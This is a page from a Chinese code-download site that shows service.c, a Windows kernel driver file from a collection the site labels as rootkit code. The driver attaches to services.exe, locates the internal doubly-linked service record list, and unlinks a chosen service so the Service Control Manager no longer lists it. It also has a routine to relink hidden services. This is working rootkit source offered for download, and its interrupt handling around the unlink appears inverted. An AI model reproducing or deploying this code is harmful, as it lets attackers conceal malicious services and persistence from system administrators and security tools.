⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 service.c

📁 超级极品的Rootkit的代码
💻 C
字号:
#include <ntddk.h>
#include "process.h"
#include "service.h"

/*
     Another option who cost me a few nights...

     We hide a service by attaching to services.exe process.
     we need to manually find the service list entry (double-chained list) and 
     to modify id.
     Thx to i.m.weasel for showing us this strong method to hide a service from 
     the SC Manager :)
     http://www.rootkit.com/newsread.php?newsid=419 
*/

typedef unsigned char BOOL;

PSERVICE_RECORD HiddenService[128];
ULONG NbHiddenServices=0;

// ptr to the first service 
PSERVICE_RECORD srecord=NULL;

//#define PAGE_SIZE 4096

// get ptr to an EPROCESS struct from the name (i.m.weasel)
NTSTATUS GetEProcessByName(WCHAR *processname, PEPROCESS *proc)
{
  NTSTATUS status;
  PSYSTEM_PROCESS_INFORMATION info, curr;
  ULONG info_size = PAGE_SIZE, result_size;
  ULONG ProcessId = 0;
  CLIENT_ID ClientId;
  OBJECT_ATTRIBUTES ObjectAttributes;
  PVOID Object;
  ULONG length;
  HANDLE Services_process;

  *proc = NULL;
  
  while(TRUE) {
    info = ExAllocatePool (NonPagedPool, info_size);
    if (info == NULL)
      return STATUS_NO_MEMORY;
      
    status = ZwQuerySystemInformation (
       5,                // process request
       info, 
       info_size, 
       &result_size);
       
    if( NT_SUCCESS(status) ) 
      break;
    
    ExFreePool(info);
    

      
    if( status != STATUS_INFO_LENGTH_MISMATCH )   
      return STATUS_NO_MEMORY;

    // otherwise, we need to allocate more memory
    info = NULL;
    info_size += PAGE_SIZE; 
  }
    
  length = wcslen(processname);
  curr = info;
  
  do {
    if((curr->ProcessName.Length == (length * sizeof (WCHAR))) && 
        !memcmp(processname, curr->ProcessName.Buffer, curr->ProcessName.Length))
    {
      // it's our services.exe  
      ProcessId = curr->ProcessId;
      break;
    }
    
    
    if(curr->NextEntryDelta)
       (PBYTE)curr  += (curr->NextEntryDelta);
       
  } while(curr->NextEntryDelta); 


  ExFreePool(info);

  if (!ProcessId)
    return STATUS_NOT_FOUND;

  InitializeObjectAttributes(
     &ObjectAttributes, 
     NULL, 
     OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 
     0, 
     0);
  
  ClientId.UniqueProcess = (HANDLE)ProcessId;
  ClientId.UniqueThread = 0;
  
  status = ZwOpenProcess(
              &Services_process, 
              PROCESS_ALL_ACCESS, 
              &ObjectAttributes, 
              &ClientId);

  if ( !NT_SUCCESS(status) )
    return status;


  status = ObReferenceObjectByHandle (
              Services_process, 
              PROCESS_ALL_ACCESS, 
              NULL, 
              KernelMode, 
              &Object, 
              NULL);
              
  ZwClose (Services_process);

  if (!NT_SUCCESS(status))
    return status;

  *proc = (PEPROCESS)Object;
  return STATUS_SUCCESS;
}

// find a section in a module (i.m.weasel)
PIMAGE_SECTION_HEADER FindModuleSectionHdr(PVOID module, const char *section)
{
   PIMAGE_DOS_HEADER dos;
   PIMAGE_NT_HEADERS nth;
   PIMAGE_SECTION_HEADER sec;
   ULONG snlen, addr, i;

   if (!module)
      return NULL;

   dos     = (PIMAGE_DOS_HEADER) module;
   nth     = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)module);
   sec     = IMAGE_FIRST_SECTION(nth);

   snlen = strlen (section);
   for (i = 0; i < nth->FileHeader.NumberOfSections; i++, (PBYTE)sec+=sizeof(IMAGE_SECTION_HEADER)) {
       
     if (!_strnicmp (sec->Name, section, snlen)) 
      return sec; 
   }
   return NULL;
}

// verify if the given ptr points to a valid address
BOOL IsGoodPtr( PVOID ptr, ULONG size )
{
   ULONG i = 0;
   
   for(i=0; i<size; i++)
      if( !MmIsAddressValid( (PULONG)ptr+i) )
         return FALSE;
         
   return TRUE;           
}

NTSTATUS HideFromSCManager(WCHAR *service)
{
  NTSTATUS status;
  PEPROCESS proc;
  PROCESS_BASIC_INFORMATION pbi;
  ULONG *ptr, *ptr2;
  PPEB peb;
  PIMAGE_SECTION_HEADER dsh; // data section headers
  PSERVICE_RECORD curr, prev=NULL, next=NULL;
  PVOID dsec;
  ULONG ServiceNameLen, ServiceToHideNameLen, dsecsize, n, i;
   
  if( NbHiddenServices >= 128 )
     return STATUS_UNSUCCESSFUL;

  // we look for services.exe EPROCESS struct
  status = GetEProcessByName (L"SERVICES.EXE", &proc);
  if( !NT_SUCCESS(status) ) {
    status = GetEProcessByName (L"services.exe", &proc);  
    if( !NT_SUCCESS(status) )  
       return status;
  }

  
  // we attach to it :)
  KeAttachProcess(proc); 
  
  
  // we get infos about current process
  status = ZwQueryInformationProcess(NtCurrentProcess(),
     ProcessBasicInformation, 
     &pbi, 
     sizeof(pbi), 
     0);
  
     
  if( !NT_SUCCESS(status) ) {
     KeDetachProcess();
     return status;    
  }
  
  peb = pbi.PebBaseAddress; 
  
  // look for data section
  dsh = FindModuleSectionHdr(peb->ImageBaseAddress, ".data");                  
                                                                                  
  if( !dsh ) {
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;   
  }
  
  
  // get section size & offset
  dsecsize = dsh->SizeOfRawData;
  dsec = dsh->VirtualAddress + (PUCHAR)peb->ImageBaseAddress;
  
  /*
      We have now to find the beginning of the service table in the .data section.
      As weasel said, to identify it, we look for a null ptr followed by a valid 
      memory address.
  */
  
  if( !srecord ) {
     for(ptr=(PULONG)dsec, n=dsecsize>>2; n ;  n--,ptr++) {
      
        if( !IsGoodPtr(ptr, 2*sizeof(ULONG)) )
           continue;
     
        if ( (ptr[0] == 0UL) && // our null byte
             (ptr[1] != 0UL) && 
             (ptr[1] < (ULONG)MM_HIGHEST_USER_ADDRESS) && 
             !(ptr[1]&1)) 
        {
           if( IsGoodPtr(ptr, sizeof(SERVICE_RECORD)) ) {
           
            
              if( !MmIsAddressValid(&((PSERVICE_RECORD)ptr[1])->sErv))
                 continue; 
           
              // we look for the sErv tag  
              if( ((PSERVICE_RECORD)ptr[1])->PreviousServiceRecord == (PSERVICE_RECORD)ptr &&
                 ((PSERVICE_RECORD)ptr[1])->sErv == 'vrEs' ) {                       
                 srecord = (PSERVICE_RECORD)ptr;      
                 break;         
              } 
           }
        }  
     }     
  }
  if( !srecord ) {
     // :(
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;    
  }
  
  curr=srecord;
  ServiceToHideNameLen = wcslen(service); 
  
  while( curr ) {
     if( curr->Lp_WideServiceName == NULL ) {
        curr = curr->NextServiceRecord;
        continue;
     }   
     
     ServiceNameLen = wcslen( curr->Lp_WideServiceName );
     
     if(  ServiceToHideNameLen == ServiceNameLen &&
          !memcmp(curr->Lp_WideServiceName, service, (ServiceNameLen+1)*2))
     {
          
           // process to hide    
           next = curr->NextServiceRecord;
           prev = curr->PreviousServiceRecord;
           
   
           // we hide the service, like for DKOM
           _asm sti
           
           if(next) 
              next->PreviousServiceRecord = prev; 
           if(prev) 
              prev->NextServiceRecord = next;
              
           // note that we can't hide the first service, we don't know 
           // how to access the list right.  

           _asm cli 
            
           // we get data usefull to restore the service later
           HiddenService[NbHiddenServices] = curr;
           NbHiddenServices++;  
      }
      
      curr = curr->NextServiceRecord;      
  }

  KeDetachProcess();
  return status;
}


NTSTATUS UnhideFromSCManager()
{
  NTSTATUS status;
  PEPROCESS proc;
  ULONG i;
  PSERVICE_RECORD prev, next;

  if( !NbHiddenServices ) 
     // no hidden services
     return STATUS_SUCCESS;

  // on ouvre comme avant notre services.exe
  status = GetEProcessByName (L"SERVICES.EXE", &proc);
  if( !NT_SUCCESS(status) ) {
    status = GetEProcessByName (L"services.exe", &proc);  
    if( !NT_SUCCESS(status) )
       return status;
  }

  // we attach to process
  KeAttachProcess(proc); 
  
  __asm cli
  for(i=0; i<NbHiddenServices; i++) {    
     
     next = HiddenService[i]->NextServiceRecord;
     prev = HiddenService[i]->PreviousServiceRecord;
           
     // we relink the service
     if( prev )
        prev->NextServiceRecord = HiddenService[i]; 
     if( next )
        next->PreviousServiceRecord = HiddenService[i];      
                
  }
  __asm sti

  KeDetachProcess();
  return status;
}
  

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -